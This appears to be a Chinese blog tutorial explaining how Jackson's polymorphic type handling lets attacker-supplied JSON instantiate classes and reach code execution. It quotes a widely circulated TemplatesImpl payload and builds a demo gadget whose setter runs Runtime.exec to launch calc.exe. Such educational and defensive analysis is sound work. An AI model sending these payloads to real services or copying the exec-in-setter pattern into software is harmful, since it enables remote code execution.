Jackson反序列化漏洞简介(二):在反序列化时进行代码执行

之前有段时间在搞jackson反序列化漏洞的检测,网上看到各种各样的文章,很多抄来抄去的,真是辣鸡,虽然我不懂,但也知道他们有些人在胡扯。本系列文章系统地介绍java里的json反序列化漏洞成因、防御方式、检测方式、利用方式。因为本人接触这些不久,如有错误,还请大佬留言指正。

本文是第二篇,讲为什么反序列化时候有被代码执行的风险。

一、为什么可以代码执行

接上篇,我们对于Person 的定义是

1
2
3
4
5
6
7
8
9
class Person {
public int age;
public String name = "default";
public Dna dna;

Person() {
System.out.println("Person.init()");
}
}

在反序列化Dna 的过程中,会走一遍Dna 的构造方法和setter。

这时候搞一个骚操作,如果我们代码指定的是Dna 类型的字段,但json的字符串里,说这是个Dnb 字段,会发生什么呢?按理说会报个type error对吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Class com.leadroyal.example.Dnb not subtype of [simple type, class com.leadroyal.example.Dna] (through reference chain: com.leadroyal.example.Person["dna"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:379)
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:339)
at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.wrapAndThrow(BeanDeserializerBase.java:1514)
at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:262)
at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:125)
at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:110)
at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromObject(AsArrayTypeDeserializer.java:58)
at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.deserializeWithType(BeanDeserializerBase.java:1021)
at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:63)
at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:3807)
at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2797)
at com.leadroyal.example.Hello.main(Hello.java:21)

果然报了个type-error,如果思路更敏感一点,会注意到Dnb 这个类的构造方法并没有被执行。如果是先构造、再比较类型的话,那真是太刺激了,RCE都完了,你告诉我type-error,还有什么用吗?哈哈。。。

如果我们把这个地方替换成 Object呢?

1
2
3
4
5
6
7
8
9
class Person {
public int age;
public String name = "default";
public Object dna;

Person() {
System.out.println("Person.init()");
}
}
1
2
["com.leadroyal.example.Person",{"age":10,"name":"Alice","dna":["com.leadroyal.example.Dna",{"length":100}]}]
Person.age=10, Person.name=Alice, com.leadroyal.example.Dna@7c16905e
1
2
["com.leadroyal.example.Person",{"age":10,"name":"Alice","dna":["com.leadroyal.example.Dnb",{"length":100}]}]
Person.age=10, Person.name=Alice, com.leadroyal.example.Dnb@2a2d45ba

这时候可以发现,当我们给的json里指定是Dna 和Dnb ,都可以被反序列化出来,并且通过打印的日志,可以确定是正常执行的。

在反序列化时候,字符串里存放的信息就可以指定这个Object 到底是什么,从而走指定的类构造和setter。

这时候就可以看网上流行的一些exp了,虽然我没有成功过(所以也有了第二部分:【如何写一个gadget出来】)。随便搜一个被人们抄来抄去的(反正我不知道出处,就不标明了):

1
2
3
4
5
6
7
8
9
{'id': 124,
'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
{
'transletBytecodes' : [ 'AAIAZQ==' ],
'transletName' : 'a.b',
'outputProperties' : { }
}
]
}

看起来,就是指定到了JDK里的一个叫TemplatesImpl 这个类上,反序列化过程中,似乎执行了啥东西,反正看不懂,不管了,大概就是这个意思:代码里存在某些善意/恶意的class,在被反序列化时会执行一些东西。而大部分人写代码时候,肯定不会在自己的bean里写一个TemplatesImpl 的父类,但注意,Object 是任意类的父类,所以就给了攻击者一个入口。

二、如何写一个gadget出来

既然找不到能用的exp,我也不知道如何日站,就自己写着玩吧! 因为上面的Person 里包含Object 字段,就拿它下手吧,目的是,反序列化一个名为 Vuln 的class,在反序列化过程中进行代码执行。 根据之前讲过的知识,反序列化先走构造方法,再走setter。对于无参的构造方法,肯定无法代码执行,所以将注意力集中在setter上面。

1
2
3
4
5
6
7
8
9
10
11
12
13
class Vuln {
String cmd;

Vuln() {
System.out.println("Vuln.init()");
}

public void setCmd(String cmd) throws IOException {
this.cmd = cmd;
System.out.println(String.format("Vuln.setCmd(%s)", cmd));
Runtime.getRuntime().exec(cmd);
}
}
1
2
3
4
5
["com.leadroyal.example.Person",{"age":10,"name":"Alice","object":["com.leadroyal.example.Vuln",{"cmd":"calc.exe"}]}]
Person.init()
Vuln.init()
Vuln.setCmd(calc.exe)
Person.age=10, Person.name=Alice, com.leadroyal.example.Vuln@2a2d45ba

这时候就可以自己弹自己的计算器了,执行任意命令,是不是很简单。。。

当然,在实际的线上业务中,没有人会给你写Vuln出来,这个Vuln就叫gadget。但开发者不会在代码里写,不代表依赖库不会在代码里写,这也就是一些jackson上面的黑名单机制了,在反序列化时,如果发现有使用TemplatesImpl 等类型,有代码执行的趋势,就会拒绝此次反序列化,从而防止被攻击。

当然,更好的处理方式是使用白名单,但目前主流的jackson还没人这么用,估计还可以打一段时间。

三、总结

代码执行分三步,

  • 第一步先找到能控制的输入点,
  • 第二步确认该类是否可以被攻击
  • 第三步寻找依赖库里的gadget

那么,对于防御者,如何检测呢?请看下篇!